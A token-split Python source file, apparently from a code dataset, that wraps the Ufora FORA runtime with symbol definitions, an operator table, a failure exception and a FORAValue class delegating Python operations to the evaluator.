"WAR",
"RAN",
"TIES",
" ",
"OR",
" ",
"CONDITION",
"S",
" ",
"OF",
" ",
"ANY",
" ",
"KIND",
",",
" ",
"eit",
"her",
" ",
"express",
" ",
"or",
" ",
"impli",
"ed",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"See",
" ",
"the",
" ",
"License",
" ",
"for",
" ",
"the",
" ",
"specific",
" ",
"language",
" ",
"govern",
"ing",
" ",
"permissi",
"ons",
" ",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
" ",
" ",
"limit",
"ation",
"s",
" ",
"under",
" ",
"the",
" ",
"License",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"ufo",
"ra_",
"._",
"native_",
"._",
"FOR",
"A_",
"as_",
"For",
"a",
"Nat",
"ive_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"ufo",
"ra_",
"._",
"FOR",
"A_",
"._",
"python_",
"._",
"Evaluator_",
"._",
"Evaluator_",
"as_",
"Evaluator_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"ufo",
"ra_",
"._",
"FOR",
"A_",
"._",
"python_",
"._",
"Error",
"Formatt",
"ing_",
"as_",
"Error",
"Formatt",
"ing_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"ufo",
"ra_",
"._",
"util_",
"._",
"Type",
"Awa",
"re",
"Compari",
"son_",
"as_",
"Type",
"Awa",
"re",
"Compari",
"son_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"traceback_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"Mut",
"able",
"Vector_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Mut",
"able",
"Vector",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"Vector_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Vector",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"Type_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Type",
"JO",
"V",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Get",
"Item_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Get",
"Item",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Set",
"Item_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Set",
"Item",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Set",
"Item",
"No",
"convert_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Set",
"Item",
"No",
"convert",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Operator_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Opera",
"tor",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Member_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Mem",
"ber",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Size_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"size",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Call_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Call",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Next_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Ne",
"xt",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"package_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"package",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Extract",
"Metadata_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Extract",
"Meta",
"data",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Short",
"Representation",
"_",
"=_",
"FOR",
"AV",
"alue_",
"._",
"make",
"Symbol_",
"(_",
"\"",
"Short",
"Representation",
"\"_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"nothing_",
"=_",
"FOR",
"AV",
"alue_",
"(_",
"For",
"a",
"Nat",
"ive_",
"._",
"nothing_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"Stack",
"Trace_",
"=_",
"FOR",
"AV",
"alue_",
"(_",
"For",
"a",
"Nat",
"ive_",
"._",
"Stack",
"Trace_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"String_",
"=_",
"FOR",
"AV",
"alue_",
"(_",
"For",
"a",
"Nat",
"ive_",
"._",
"String_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Lam",
"bda",
"s_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"plus_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"+_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"sub_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"-_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"mul_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"*_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"div_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"/_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"mod_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"%_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"pow_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"**_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"lsh",
"ift",
"_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"<<_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"rshi",
"ft_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
">>_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"lt_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"<_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"gt_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
">_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"le_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"<=_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"ge_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
">=_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"eq_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"==_",
"y_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"ne_",
":_",
"(_",
"lambda_",
"x_",
",_",
"y_",
":_",
"x_",
"!=_",
"y_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"evaluator_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Evaluator_",
"._",
"evaluator_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"FOR",
"AF",
"ail",
"ure_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"a",
" ",
"wrapp",
"er",
" ",
"aro",
"und",
" ",
"a",
" ",
"FOR",
"A",
" ",
"fail",
"ure",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AF",
"ail",
"ure_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"error_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"error_",
"=_",
"error_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AF",
"ail",
"ure_",
"(_",
"Exception_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"str\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\"",
"For",
"a",
"Fail",
"ure",
"(%",
"s",
")\"_",
"%_",
"self_",
"._",
"error_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"a",
" ",
"wrapp",
"er",
" ",
"aro",
"und",
" ",
"a",
" ",
"FOR",
"A",
" ",
"value",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"you",
" ",
"may",
" ",
"interact",
" ",
"with",
" ",
"this",
" ",
"object",
" ",
"as",
" ",
"if",
" ",
"it",
" ",
"wer",
"e",
" ",
"a",
" ",
"regular",
" ",
"python",
" ",
"object",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"method",
"s",
" ",
"will",
" ",
"be",
" ",
"off",
"load",
"ed",
" ",
"to",
" ",
"the",
" ",
"FOR",
"A",
" ",
"runt",
"ime",
" ",
"its",
"elf",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u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\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"x_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"object_",
"._",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"x_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"impl",
"Val",
"\\u_",
"=_",
"For",
"a",
"Nat",
"ive_",
"._",
"nothing_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"isinstance_",
"(_",
"x_",
",_",
"FOR",
"AV",
"alue_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"impl",
"Val",
"\\u_",
"=_",
"x_",
"._",
"impl",
"Val",
"\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"isinstance_",
"(_",
"x_",
",_",
"For",
"a",
"Nat",
"ive_",
"._",
"Impl",
"Val",
"Container_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"impl",
"Val",
"\\u_",
"=_",
"x_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"isinstance_",
"(_",
"x_",
",_",
"tuple_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"impl",
"Val",
"\\u_",
"=_",
"For",
"a",
"Nat",
"ive_",
"._",
"Impl",
"Val",
"Container_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"tuple_",
"(_",
"[_",
"FOR",
"AV",
"alue_",
"(_",
"elt_",
")_",
"._",
"impl",
"Val",
"\\u_",
"for_",
"elt_",
"in_",
"x_",
"]_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
"this",
" ",
"will",
" ",
"atte",
"mpt",
" ",
"to",
" ",
"convert",
" ",
"numeri",
"cs_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
"and",
" ",
"will",
" ",
"other",
"wis",
"e",
" ",
"represent",
" ",
"the",
" ",
"value",
" ",
"as",
" ",
"a",
" ",
"python",
" ",
"object_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"impl",
"Val",
"\\u_",
"=_",
"For",
"a",
"Nat",
"ive_",
"._",
"Impl",
"Val",
"Container_",
"(_",
"x_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"getattr\\u\\u_",
"(_",
"self_",
",_",
"attr_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"attr_",
"._",
"startswith_",
"(_",
"'\\u\\u'_",
")_",
"and_",
"attr_",
"._",
"endswith_",
"(_",
"'\\u\\u'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Attribute",
"Error_",
"(_",
")_",
"#",
" ",
"we",
" ",
"don",
"'",
"t",
" ",
"want",
" ",
"to",
" ",
"intercept",
" ",
"special",
" ",
"python",
" ",
"methods_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"process",
"Computation",
"Result_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"Evaluator_",
"._",
"evaluator_",
"(_",
")_",
"._",
"evaluate_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Member_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"For",
"a",
"Nat",
"ive_",
"._",
"make",
"Symbol_",
"(_",
"attr_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"call\\u\\u_",
"(_",
"self_",
",_",
"*_",
"args_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"process",
"Computation",
"Result_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"Evaluator_",
"._",
"evaluator_",
"(_",
")_",
"._",
"evaluate_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Call_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"*_",
"[_",
"FOR",
"AV",
"alue_",
"(_",
"x_",
")_",
"._",
"impl",
"Val",
"\\u_",
"for_",
"x_",
"in_",
"args_",
"]_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"getitem\\u\\u_",
"(_",
"self_",
",_",
"x_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"process",
"Computation",
"Result_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"Evaluator_",
"._",
"evaluator_",
"(_",
")_",
"._",
"evaluate_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Get",
"Item_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"(_",
"x_",
")_",
"._",
"impl",
"Val",
"\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"setitem\\u\\u_",
"(_",
"self_",
",_",
"ix_",
",_",
"x_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"process",
"Computation",
"Result_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"Evaluator_",
"._",
"evaluator_",
"(_",
")_",
"._",
"evaluate_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Set",
"Item_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"(_",
"ix_",
")_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"(_",
"x_",
")_",
"._",
"impl",
"Val",
"\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"len\\u\\u_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"process",
"Computation",
"Result_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"Evaluator_",
"._",
"evaluator_",
"(_",
")_",
"._",
"evaluate_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Size_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"FOR",
"AV",
"alue_",
"._",
"symbol",
"\\u",
"Call_",
"._",
"impl",
"Val",
"\\u_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"impl",
"Val",
"\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNL\\u\\u\\u_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"add\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"self_",
",_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"plus_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rad",
"d\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"self_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"plus_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"sub\\u",
"\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"self_",
",_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"sub_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"FOR",
"AV",
"alue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"\\u\\u",
"rsu",
"b",
"\\u\\u_",
"(_",
"self_",
",_",
"other_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"binar",
"y",
"Op",
"\\u_",
"(_",
"FOR",
"AV",
"alue_",
"(_",
"other_",
")_",
",_",
"self_",
",_",
"For",
"a",
"Opera",
"tor",
"Symbols_",
"._",
"sub_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
